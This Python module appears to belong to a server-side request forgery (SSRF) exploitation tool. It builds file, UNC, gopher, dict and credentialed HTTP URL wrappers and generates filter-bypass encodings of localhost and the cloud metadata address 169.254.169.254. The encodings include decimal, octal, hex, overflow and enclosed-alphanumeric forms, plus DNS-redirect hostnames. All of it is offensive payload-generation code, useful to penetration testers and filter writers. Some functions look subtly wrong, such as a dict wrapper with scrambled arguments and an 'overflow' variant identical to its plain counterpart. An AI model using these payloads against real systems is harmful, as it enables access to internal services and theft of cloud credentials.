--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | import string
4 |
5 | def wrapper_file(data):
6 | return f"file://{data}"
7 |
8 | def wrapper_unc(data, ip):
9 | return f"\\\\{ip}\\{data}"
10 |
11 | def wrapper_gopher(data, ip, port):
12 | return f"gopher://{ip}:{port}/_{data}"
13 |
14 | def wrapper_dict(data, ip, port):
15 | return f"dict://{data}:{ip}/{port}"
16 |
17 | def wrapper_http(data, ip, port, usernm=False, passwd=False):
18 | if usernm != False and passwd != False:
19 | return f"http://{usernm}:{passwd}@{ip}:{port}/{data}"
20 | return f"http://{ip}:{port}/{data}"
21 |
22 | def wrapper_https(data, ip, port):
23 | return f"https://{ip}:{port}/{data}"
24 |
25 |
26 | def diff_text(text1, text2):
27 | diff = ""
28 | for line in text1.split("\n"):
29 | if not line in text2:
30 | diff += line + "\n"
31 | return diff
32 |
33 | def ip_default_local(ips, ip):
34 | ips.add("127.0.0.1")
35 | ips.add("0.0.0.0")
36 | ips.add("localhost")
37 |
38 | def ip_default_shortcurt(ips, ip):
39 | ips.add("[::]")
40 | ips.add("0000::1")
41 | ips.add("0")
42 | ips.add("127.1")
43 | ips.add("127.0.1")
44 |
45 | def ip_default_cidr(ips, ip):
46 | ips.add("127.0.0.0")
47 | ips.add("127.0.1.3")
48 | ips.add("127.42.42.42")
49 | ips.add("127.127.127.127")
50 |
51 |
52 | def ip_decimal_notation(ips, ip):
53 | try:
54 | packedip = socket.inet_aton(ip)
55 | ips.add(struct.unpack("!l", packedip)[0])
56 | except:
57 | pass
58 |
59 |
60 | def ip_dotted_decimal_with_overflow(ips, ip):
61 | try:
62 | ips.add(".".join([str(int(part) + 256) for part in ip.split(".")]))
63 | except:
64 | pass
65 |
66 |
67 | def ip_dotless_decimal(ips, ip):
68 | def octet_to_decimal_part(ip_part, octet):
69 | return int(ip_part) * (256 ** octet)
70 |
71 | try:
72 | parts = [part for part in ip.split(".")]
73 | ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
74 | except:
75 | pass
76 |
77 |
78 | def ip_dotted_hexadecimal(ips, ip):
79 | def octet_to_hex_part(number):
80 | return str(hex(int(number)))
81 |
82 | try:
83 | ips.add(".".join([octet_to_hex_part(part) for part in ip.split(".")]))
84 | except:
85 | pass
86 |
87 |
88 | def ip_dotted_octal(ips, ip):
89 | def octet_to_oct_part(number):
90 | return str(oct(int(number))).replace("o","")
91 |
92 | try:
93 | ips.add(".".join([octet_to_oct_part(part) for part in ip.split(".")]))
94 | except:
95 | pass
96 |
97 |
98 | def ip_dotless_decimal_with_overflow(ips, ip):
99 |
100 | def octet_to_decimal_part(ip_part, octet):
101 | return int(ip_part) * (256 ** octet)
102 |
103 | try:
104 | parts = [part for part in ip.split(".")]
105 | ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
106 | except:
107 | pass
108 |
109 |
110 | def ip_enclosed_alphanumeric(ips, ip):
111 | intab = "1234567890abcdefghijklmnopqrstuvwxyz"
112 |
113 | if ip == "127.0.0.1":
114 | ips.add("ⓛⓞⒸⒶⓛⓣⒺⓢⓣ.ⓜⒺ")
115 |
116 | outtab = "①②③④⑤⑥⑦⑧⑨⓪ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ"
117 | trantab = ip.maketrans(intab, outtab)
118 | ips.add( ip.translate(trantab) )
119 |
120 | outtab = "①②③④⑤⑥⑦⑧⑨⓪ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ"
121 | trantab = ip.maketrans(intab, outtab)
122 | ips.add( ip.translate(trantab) )
123 |
124 | def ip_dns_redirect(ips, ip):
125 | if ip == "127.0.0.1":
126 | ips.add("localtest.me")
127 | ips.add("customer1.app.localhost.my.company.127.0.0.1.nip.io")
128 | ips.add("localtest$google.me")
129 |
130 | if ip == "169.254.169.254":
131 | ips.add("metadata.nicob.net")
132 | ips.add("169.254.169.254.xip.io")
133 | ips.add("1ynrnhl.xip.io")
134 |
135 | def gen_ip_list(ip, level):
136 | ips = set()
137 |
138 | if level == 1:
139 | ips.add(ip)
140 |
141 | if level == 2:
142 | ip_default_local(ips, ip)
143 | ip_default_shortcurt(ips, ip)
144 |
145 | if level == 3:
146 | ip_dns_redirect(ips, ip)
147 | ip_default_cidr(ips, ip)
148 |
149 | if level == 4:
150 | ip_decimal_notation(ips, ip)
151 | ip_enclosed_alphanumeric(ips, ip)
152 |
153 | if level == 5:
154 | ip_dotted_decimal_with_overflow(ips, ip)
155 | ip_dotless_decimal(ips, ip)
156 | ip_dotless_decimal_with_overflow(ips, ip)
157 | ip_dotted_hexadecimal(ips, ip)
158 | ip_dotted_octal(ips, ip)
159 |
160 | for ip in ips:
161 | yield ip
--------------------------------------------------------------------------------